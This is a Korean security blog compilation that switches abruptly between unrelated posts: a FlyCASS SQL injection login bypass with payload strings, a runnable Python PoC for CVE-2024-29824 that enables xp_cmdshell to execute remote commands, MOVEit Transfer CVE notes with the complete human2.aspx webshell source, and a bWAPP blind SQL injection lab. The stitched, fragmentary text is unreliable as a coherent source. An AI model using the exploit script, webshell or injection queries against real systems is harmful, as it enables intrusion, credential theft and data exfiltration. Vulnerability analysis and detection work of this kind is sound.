- 해외 보안 연구원에 의해 공항 보안에 사용되는 KCM과 CASS 프로세스에서 SQL Injection 취약점 발견 [1] - 취약점 악용에 성공할 시 관리자가 되어 항공사에 새로운 직원을 추가하는 등의 악성행위 가능 > 현재는 취약점이 해결되었음
2. 주요내용
2.1 KCM (Known Crewmember)
- 조종사와 승무원이 보안 검색을 우회할 수 있도록 해주는 TSA 프로그램 - 직원은 전용 레인을 사용하며, KCM 바코드 또는 직원 번호를 제시해 통과 여부를 결정
※ TSA (Transportation Security Administration) : 미국 교통안전청, 9.11 테러 이후 여객기 등의 운행 안전 필요성이 대두되어 설립
2.2 CASS (Cockpit Access Security System)
- 조종사가 조종실의 점프 시트를 사용할 수 있도록 하는 시스템
2.3 ARINC
- 항공, 공항, 국방, 정부, 수송분야에서 사용되는 표준과 시스템을 개발 및 제공하는 기업 - TSA와 계약하여 KCM 시스템을 운영하며, 조종사와 승무원이 KCM 상태를 확인할 수 있는 웹 사이트와 항공사 간 승인 요청을 라우팅하는 API 등을 운영 > 각 항공사는 KCM 및 CASS에 참여하기 위해 자체 인증 시스템을 운영하며, ARINC의 허브와 상호작용함 - TSA와 항공사는 CockpitAccessRequest와 CrewVerificationRequest 같은 요청을 ARINC로에 보낼 수 있으며, ARINC는 이를 적절한 항공사 시스템으로 라우팅
2.4 FlyCASS.com
- 소규모 항공사를 위해 KCM, CASS 운영하며, 모든 항공사가 자체 로그인 페이지를 가지고 있음 - 로그인 페이지에서 SQL Injection 취약점을 테스트(username에 ` 입력)한 결과 MySQL 오류 발생 > sqlmap을 사용해 관리자로 FlyCASS에 로그인 성공 > username : ' or '1'='1 / password : ') OR MD5('1')=MD5('1
※ sqlmap : SQL Injection을 감지 및 악용할 수 있는 Python 으로 작성된 오픈 소스 침투 테스트 도구 [2]
※ 잘못된 SQL 문법 등의 경우 반환되는 에러 메시지를 통해 데이터베이스 정보를 획득할 수 있으므로, 에러 메시지를 출력하지 않도록 조치 필요
2.5 KCM, CASS 관리자
- FlyCASS에 SQL Injection 취약점을 악용해 관리자 권한으로 접근이 가능 > 직원(조종사, 승무원) 목록을 확인하거나 추가 인증 없이 새로운 직원을 추가할 수 있었음
- 테스트를 위해 Test TestOnly 직원 추가 및 KCM, CASS 접근 권한을 부여하는데 성공 > SQL Injection에 기본적인 지식이 있는 누구나 KCM, CASS에 임의의 직원을 추가할 수 있는 심각한 문제
2.6 공개 및 기타 [3]
- 미국 국토안보부(United States Department of Homeland Security, DHS)에 문제를 공개 - 이후 FlyCASS는 KCM, CASS에서 비활성화 - TSA는 취약점을 부인하는 성명을 발표했으며, DHS는 초기에 신속하고 전문적으로 처리했으나, 이후 과정에서 상급 기관으로써의 역할을 제대로 수행하지 못함 - 비밀번호를 저장하는데 MD5 해시를 사용한 것 또한 문제
- 취약점은 PatchBiz.dll 파일의 RecordGoodApp()이라는 함수에서 발생 [3]
> 해당 함수의 첫 번째 SQL 문이 잠재적으로 SQL Injection에 취약
> string.Format을 사용하여 goodApp.md5의 값을 SQL 쿼리에 삽입
> 공격자는 goodApp.md5 값에 SQL 구문 Injection 및 xp_cmdshell을 통해 원격 명령 실행
- 취약점 흐름은 다음과 같음
2.2 PoC [4]
- /WSStatusEvents/EventHandler.asmx URL로 POST 요청 - GoodApp=1|md5 값에 SQL Injection 구문 및 xp_cmdshell을 통해 원격 명령 실행
※ xp_cmdshell: SQL Server에서 운영체제 명령을 직접 실행할 수 있도록 해주는 확장 저장 프로시저
import argparse
import requests
import urllib3
import sys
from requests.exceptions import ReadTimeout
urllib3.disable_warnings()
XML_PAYLOAD = """<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
<soap12:Body>
<UpdateStatusEvents xmlns="http://tempuri.org/">
<deviceID>string</deviceID>
<actions>
<Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
<status>GoodApp=1|md5={}</status>
</Action>
</actions>
</UpdateStatusEvents>
</soap12:Body>
</soap12:Envelope>
"""
SQLI_PAYLOAD = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell '{}'--"
def get_cmd_arrays(cmd_file):
try:
with open(cmd_file, 'r') as f:
cmds = f.read().split('\n')
cmds = [c for c in cmds if c]
return cmds
except Exception as e:
sys.stderr.write(f'[!] Unexpected error reading cmd file: {e}\n')
return []
def exploit(url, command):
h = {'Content-Type': 'application/soap+xml' }
sqli_payload = SQLI_PAYLOAD.format(command)
xml_payload = XML_PAYLOAD.format(sqli_payload)
try:
r = requests.post(f'{url}/WSStatusEvents/EventHandler.asmx', data=xml_payload, headers=h, verify=False, timeout=30)
if r.status_code == 200:
print(f'[+] Successfully sent payload to server')
else:
print(f'[-] Unexpected response from server')
except TimeoutError:
# Expected to timeout given it keeps connection open for process duration
pass
except ReadTimeout:
# Expected to timeout given it keeps connection open for process duration
pass
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True)
args = parser.parse_args()
commands = get_cmd_arrays(args.cmd_file)
for command in commands:
exploit(args.url, command)
3. 대응방안
- 벤더사 제공 최신 업데이트 적용 [5]
> 해당 취약점을 포함한 5가지 원격 코드 실행 취약점 해결
- 탐지룰 적용
> 취약성 여부를 확인할 수 있는 스크립트 활용 [6]
alert tcp any any -> any any (msg:"CVE-2024-29824"; flow:to_server,established; content:"/WSStatusEvents/EventHandler.asmx"; content:"GoodApp=1|md5"; nocase; http_method POST;)
- 공격자는 MOVEit Transfer 앱에 조작된 페이로드를 전달하여, 최종적으로 MOVEit DB 컨텐츠의 수정 및 공개가 가능
영향받는 저번 - MOVEit Transfer 2023.0.x (15.0.x) - MOVEit Transfer 2022.1.x (14.1.x) - MOVEit Transfer 2022.0.x (14.0.x) - MOVEit Transfer 2021.1.x (13.1.x) - MOVEit Transfer 2021.0.x (13.0.x) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 구체적인 PoC는 확인되지 않으나 아르헨티나 보안 연구원 MCKSys이 PoC 화면 공개 [2]
> 관련 내용 Github 업로드 예정
- 현재 벤더사 홈페이를 통해 업데이트가제공됨 [3]
> 해당 패치는 CVE-2023-34362 관련 패치를 포함한 패치
취약한 버전
패치 버전
MOVEit Transfer 2023.0.x (15.0.x)
MOVEit Transfer 2023.0.2 (15.0.2)
MOVEit Transfer 2022.1.x (14.1.x)
MOVEit Transfer 2022.1.6 (14.1.6)
MOVEit Transfer 2022.0.x (14.0.x)
MOVEit Transfer 2022.0.5 (14.0.5)
MOVEit Transfer 2021.1.x (13.1.x)
MOVEit Transfer 2021.1.5 (13.1.5)
MOVEit Transfer 2021.0.x (13.0.x)
MOVEit Transfer 2021.0.7 (13.0.7)
MOVEit Transfer 2020.1.x (12.1)
Progress 웹사이트 참고 [4]
MOVEit Transfer 2020.0.x (12.0) 및 이전 버전
가능한 상위 버전 [5]
MOVEit Cloud
14.1.6.97 또는 14.0.5.45 테스트버전: 15.0.2.39
2.2 CVE-2023-35708
- 취약한 버전의 MOVEit Transfer에서 발생하는SQL Injection 취약점
- 공격자는 권한 상승 및 이후 추가적인 익스플로잇이 가능해짐
- 구체적인 PoC는 확인되지 않음
영향받는 버전 - MOVEit Transfer 2023.0.x (15.0.x) - MOVEit Transfer 2022.1.x (14.1.x) - MOVEit Transfer 2022.0.x (14.0.x) - MOVEit Transfer 2021.1.x (13.1.x) - MOVEit Transfer 2021.0.x (13.0.x) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 중요한 데이터의 안전한 협업 및 자동화된 파일 전송기능을 제공하는 MFT(Managed File Transfer) 소프트웨어
2. 취약점
- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점
- 해당 취약점을 악용해 웹쉘 업로드가 가능하며, 웹쉘을 통해 DB 조작, 정보 열람, 파일 다운로드 등 악성행위가 가능함
- MOVEit Transfer를 사용하는 기업은 전 세계 수천개가 넘으며, 이 중에는 BBC, 영국항공, 노바스코티아 주 정부가 포함되어 있음
- 현재 관련된 PoC 등은 확인되지 않으나, Huntress에서 관련 영상 공개 [3]
> 보안 업체가 Horizon3ai와 Rapid7가 각각 CVE-2023-34362의 익스플로잇 방법을 개발해 발표 [16][17][18]
영향받는 버전 - MOVEit Transfer 2023.0.0 (15.0) - MOVEit Transfer 2022.1.x (14.1) - MOVEit Transfer 2022.0.x (14.0) - MOVEit Transfer 2021.1.x (13.1) - MOVEit Transfer 2021.0.x (13.0) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 23.06.10 현재 인터넷에 노출된 MOVEit Transfer 인스턴스는 약 2,500개 [4]
- GreyNoise에서는 CVE-2023-34362 관련 스캐너를 공개 [5]
2.1 CL0P 랜섬웨어 그룹 [6]
- MS에서 2023.06.02 CL0P 랜섬웨어 그룹의 소행으라고 밝혔으며, 06.05 CL0P이 블로그에 관련 성명을 게시
> 보안 외신 SC Media에 따르면 CL0P 랜섬웨어 그룹은 2021년부터 연구하였고, 그 기간 동안 여러 기업들을 해당 취약점을 이용해 침해
- 여러 보안 기업에서 분석한 결과 공격 흐름은 다음과 같음
① SQL Injection 취약점 악용
> SQL Injection 취약점을 이용해 웹쉘 human2.aspx 업로드
② 웹쉘 통신 및 악성 행위 수행 [7]
> "X-siLock-Comment" 헤더를 통해 웹쉘과 통신
헤더
옵션
설명
X-siLock-Step1
-1
- AppendHeader 응답 헤더를 통해Azure 정보 유출 - MOVEit에 존재하는 모든 파일, 파일 소유자, 파일 사이즈 등의 정보를GZIP으로 압축하여 반환
-2
-users 데이터베이스에서 RealName이 Health Check Service인 사용자 삭제
X-siLock-Step2 ("folderid"값지정)
특정 값 지정
-해당 값과 fileid값(X-siLock-Step3)이 지정 되었을 경우해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL
-해당 값과 fileid 값(X-siLock-Step3)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을 시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
X-siLock-Step3 ("fileid" 값 지정)
특정 값 지정
-해당 값과 folderid값(X-siLock-Step2)이 지정 되었을 경우해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL
- 해당 값과 folderid값(X-siLock-Step2)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을 시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
<%@ Page Language="C#" %>
<%@ Import Namespace="MOVEit.DMZ.ClassLib" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Infrastructure.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Files" %>
<%@ Import Namespace="MOVEit.DMZ.Cryptography.Contracts" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Cryptography" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.FileSystem" %>
<%@ Import Namespace="MOVEit.DMZ.Core" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Users" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users.Enum" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<script runat="server">
private Object connectDB() {
var MySQLConnect = new DbConn(SystemSettings.DatabaseSettings());
bool flag = false;
string text = null;
flag = MySQLConnect.Connect();
if (!flag) {
return text;
}
return MySQLConnect;
}
private Random random = new Random();
public string RandomString(int length) {
const string chars = "abcdefghijklmnopqrstuvwxyz0123456789";
return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray());
}
protected void Page_load(object sender, EventArgs e) {
var pass = Request.Headers["X-siLock-Comment"];
if (!String.Equals(pass, "REDACTEDREDACTEDREDACTEDREDACTED")) {
Response.StatusCode = 404;
return;
}
Response.AppendHeader("X-siLock-Comment", "comment");
var instid = Request.Headers["X-siLock-Step1"];
string x = null;
DbConn MySQLConnect = null;
var r = connectDB();
if (r is String) {
Response.Write("OpenConn: Could not connect to DB: " + r);
return;
}
try {
MySQLConnect = (DbConn) r;
if (int.Parse(instid) == -1) {
string azureAccout = SystemSettings.AzureBlobStorageAccount;
string azureBlobKey = SystemSettings.AzureBlobKey;
string azureBlobContainer = SystemSettings.AzureBlobContainer;
Response.AppendHeader("AzureBlobStorageAccount", azureAccout);
Response.AppendHeader("AzureBlobKey", azureBlobKey);
Response.AppendHeader("AzureBlobContainer", azureBlobContainer);
var query = "select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID";
string reStr = "ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n";
var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2},{3},{4},{5},{6},{7}\n", set["ID"].Value, set["InstID"].Value, set["FolderID"].Value, set["FileSize"].Value, set["Name"].Value, set["uploader"].Value, set["FolderPath"].Value, set["fname"].Value);
set.MoveNext();
}
}
reStr += "----------------------------------\nFolderID,InstID,FolderName,Owner,FolderPath\n";
String query1 = "select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username";
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2},{3},{4}\n", set["id"].Value, set["instID"].Value, set["name"].Value, set["owner"].Value, set["FolderPath"].Value);
set.MoveNext();
}
}
reStr += "----------------------------------\nInstID,InstName,ShortName\n";
query1 = "select id, name, shortname from institutions";
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2}\n", set["ID"].Value, set["name"].Value, set["ShortName"].Value);
set.MoveNext();
}
}
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) {
writer.Write(reStr);
}
}
} else if (int.Parse(instid) == -2) {
var query = String.Format("Delete FROM users WHERE RealName='Health Check Service'");
new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
} else {
var fileid = Request.Headers["X-siLock-Step3"];
var folderid = Request.Headers["X-siLock-Step2"];
if (fileid == null && folderid == null) {
SessionIDManager Manager = new SessionIDManager();
string NewID = Manager.CreateSessionID(Context);
bool redirected = false;
bool IsAdded = false;
Manager.SaveSessionID(Context, NewID, out redirected, out IsAdded);
string username = "";
var query = String.Format("SELECT Username FROM users WHERE InstID={0} AND Permission=30 AND Status='active' and Deleted=0", int.Parse(instid));
var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
var query1 = "";
if (!set.EOF) {
username = (String) set["Username"].Value;
} else {
username = RandomString(16);
query1 += String.Format("INSERT INTO users (Username, LoginName, InstID, Permission, RealName, CreateStamp, CreateUsername, HomeFolder, LastLoginStamp, PasswordChangeStamp) values ('{0}','{1}',{2},{3},'{4}', CURRENT_TIMESTAMP,'Automation',(select id from folders where instID=0 and FolderPath='/'), CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);", username, "Health Check Service", int.Parse(instid), 30, "Health Check Service", "Automation", "Services");
}
query1 += String.Format("insert into activesessions (SessionID, Username, LastTouch, Timeout, IPAddress) VALUES ('{0}','{1}',CURRENT_TIMESTAMP, 9999, '127.0.0.1')", NewID, username);
new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
} else {
DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid);
SILGlobals siGlobs = new SILGlobals();
siGlobs.FileSystemFactory.Create();
EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create());
Response.ContentType = "application/octet-stream";
Response.AppendHeader("Content-Disposition", String.Format("attachment; filename={0}", fileid));
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
st.CopyTo(gzipStream);
}
}
}
} catch (Exception) {
Response.StatusCode = 404;
return;
} finally {
MySQLConnect.Disconnect();
}
return;
}
</script>
- 시나리오를 기반으로 침해를 테스트한 시스템의 로그를 검토한 결과 해당 공격과 관련된 로그는 다음과 유사할 것으로 판단 됨
- 웹 서버의 보안 설정을 통해 기존 SQL Injection에 대한 대응이 되어있는 경우 수행
- SQL 쿼리 수행 결과인 참/거짓을 기반으로 데이터를 알아내는 기법
- 참/거짓으로 결과를 반환하므로 노가다성 작업이 필요
- Boolean-Based 기법과 Time-Based 기법이 있음
- Blind SQL Injection에서는 다음 함수들이 자주 사용됨
함수
설명
length("문자열")
- 문자열의 길이를 반환하는 함수
substring(대상 문자열, 시작 위치, 길이)
- 문자열에서 지정한 시작위치부터 길이만큼 출력하는 함수 - 시작 위치는 1부터 시작 * MySQL : substring() / Oracle : substr() / 사용법은 동일
limit 시작 위치, 갯수
- 지정한 시작위치부터 갯수만큼 결과를 반환하는 함수 - 시작 위치는 0부터 시작
ascii
- 문자를 아스키코드로 변환하는데 사용하는 함수 - 10진수 48 ~ 57 = 정수 1 ~ 10 - 10진수 65 ~ 90 = 문자 A ~ Z - 10진수 97 ~ 122 = 문자 a ~ z
2. 실습
- movie 검색란에 SQL Injection 취약점 유무를 확인하기 위해 '를 입력
- 출력되는 에러를 통해 SQL Injection 취약점이 존재하는 것을 알 수 있음
- 쿼리 수행 결과가 참일 경우와 거짓일 경우 출력되는 결과 값이 다른 것을 알 수 있음
- 해당 결과를 통해 Blind SQL 중 Boolean-Based 기법을 수행해야 한다는것을 유추 가능함
2.1 데이터베이스 이름의 문자열 갯수 확인
- length()를 이용해 데이터베이스 이름의 문자열 갯수를 확인할 수 있음
- 수행 질의문 : ' or 1=1 and length(database())=1 #
- 질의문 해석 : 데이터베이스 이름의 길이가 1인지
* database() : 서버의 데이터베이스 명을 반환하는 시스템 함수
- 숫자를 계속해서 증가 시켜 질의를 수행한 결과, 데이터베이스 명은 5글자인 것을 알 수 있음
- 수행질의문 : ' or 1=1 and length(database())=5 #
- 질의문 해석 : 데이터베이스 이름의 길이가 5인지
2.2 데이터베이스 이름 확인
- substring()를 이용해 데이터베이스의 명을 확인할 수 있음
- 수행 질의문 : ' or 1=1 and substring(database(),1,1)='a' #
- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'a'인지
- 문자를 변경하면서 질의문을 수행하면, 데이터베이스가 'b'로 시작하는 5글자임을 알 수 있음
- 수행질의문 :' or 1=1 and substring(database(),1,1)='b' #
- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'b'인지
- 데이터베이스 이름의 두번째 글자 확인을 원할 경우 substring()의 시작위치를 2로 변경하여 질의를 수행하면 됨.
- 수행 질의문 : ' or 1=1 and substring(database(),2,1)='a' #
- 질의문 해석 : 데이터베이스 이름의 두번째 글자가 'a'인지
- ASCII 값과 부등호를 이용해 해당 아스키 값이 입력한 아스키 값보다 큰지 작은지 확인할 수 있음
- substring()으로 하나씩 글자를 확인하는 것보다ASCII 값으로 범위를 한정하여 검색하는 것이 수월함
- 수행 질의문 : ' or 1=1 and substring(database(),1,1)<=97 #
- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 97(문자 a) 보다 작거나 같은 값인지
- 각 과정을 반복하면 데이터베이스의 이름이 'bWAPP'인 것을 알 수 있음
2.3 테이블 이름의 문자열 갯수 확인
- length()와 limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음
- 수행 질의문 : ' or 1=1 and length((select table_namefrom information_schema.tableswhere table_type='base table' and table_schema='bWAPP'limit 0,1))= 1#
* table_type = 'base table'란 information_schema에서 메타 데이터 테이블을 제외한 테이블을 의미
- 질의문 해석 :
information_schema 데이터베이스의 tables 테이블에서 table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의 table_name의 첫번째 테이블 이름의 길이가 1인지
- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블 이름의 길이가 4인것을 알 수 있음
- 수행 질의문 : ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))= 4#
- 두번째 테이블 이름의 길이를 알고싶을 경우 위 수행 질의문 중 limit 0,2 로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인
2.4 테이블 이름 확인
- ascii, substring(), limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음
- 수행 질의문 : ' or 1=1 and ascii(substring((select table_namefrom information_schema.tableswhere table_type='base table' and table_schema='bWAPP'limit 0,1),1,1)) >= 97#
- 질의문 해석 :
information_schema 데이터베이스의 tables 테이블에서
table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의
table_name의
첫번째 테이블 이름의
쳣번째 글자가
ascii 값으로 97(문자 a)보다 크거나 같은지
- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블이 b로 시작하는 4글자임을 확인할 수 있음
- 수행 질의문 : ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) >= 97#
- 문자를 변경하면서 질의를 수행한 결과, 데이터베이스의 첫 글자는 'b'인 것을 알 수 있으며, 결과 값은 blog임
- 두번째 테이블의 이름을 알고싶은 경우 수행 질의문 중 limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인
- 해당 과정을 반복하면 4번째 테이블 명이 users라는 것을 알 수 있음
2.5 users 테이블의 정보 확인
- 다음 질의를 통해 users 테이블의 첫번째 칼럼의 글자수를 확인할 수 있음
- 수행 질의문 : ' or 1=1 and length((select column_namefrom information_schema.columnswhere table_name='users'limit 0,1))=1#
- 질의문 해석 :
information_schema 데이터베이스의 columns 테이블에서
table_name이 users인 테이블의
column_name의
첫번째 컬럼의
길이가 1인지
- 2를 대입하여 질의를 수행하면 결과로 참을 반환하며, id임을 추측해 볼 수 있으며 질의를 통해 확인 가능
- 수행 질의문 : ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,2)= 'id'#
- 두번째 컬럼을 알고싶은 경우 질의문 중limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인
- 해당 과정을 반복하면 users 테이블의 컬럼은 id, login, password 등으로 구성되어 있는것을 알 수 있음
2.6 users 테이블의 login 컬럼 정보 확인
- 다음 질의문을 통해 login 컬럼에 저장된 정보의 길이 확인할 수 있음
- 수행 질의문 : ' or 1=1 and length((select login from users limit 0,1))=1#
- 질의문 해석 : users 테이블의 login 컬럼의 첫번째 컬럼의 길이가 1인지
- 질의문을 변경하면서 질의를 수행하면 2번째 컬럼의 길이가 3인것을 확인할 수 있음
- 다음 질의문을 통해 users 테이블의 login 컬럼의 두번째 컬럼이 3글자이며, bee임을 추측해 볼 수 있으며 질의를 통해 확인 가능
- 수행 질의문 : ' or 1=1 and substring((select login from users limit 1,1),1,3)='bee'#
- 질의문 해석 : users 테이블의 login 컬럼의 두번째 컬럼이 'bee'인지
- 또한, 각 과정을 반복하면 users 테이블의 password 컬럼 길이가 40임을 알 수 있고, 해시된 값임을 추측해 볼 수 있음
- 수행 질의문 : ' or 1=1 and length((select password from users where login='bee'))=40#
- 질의문 해석 : users 테이블에서 login 컬럼 값이 'bee'인 password 컬럼의 길이가 40인지
- 해시 여부를 확인하면(수행 질의문에서 md5()를 sha1 등으로 바꿔서 확인 가능) sha1을 사용해 비밀번호를 해시하여 저장하는 것을 알 수 있음
- 수행 질의문 : ' or 1=1 and md5("bug") = (select password from users where login='bee')#
3. 비박스 소스 확인
- 해당 페이지의 소스코드를 확인해 보면 security_level 별로 입력값 검증 방법을 확인할 수 있음
① security_level = 0 (난이도 하)일 경우 입력값을 검증하지 않음
② security_level = 1 (난이도 중)일 경우 sqli_check_1() 함수로 입력값 검증
③ security_level = 2 (난이도 상)일 경우 sqli_check_2() 함수로 입력값 검증
- addslashes(), mysql_real_escape_string() 함수를 통해 입력값 검증
① addslashes() : ', ", \, NULL 바이트에 역슬래시(\)를 추가된 문자열을 반환
② mysql_real_escape_string() : NULL, \n, \r, \, ', "에 역슬래시(\)를 붙여 특수 문자를 이스케이프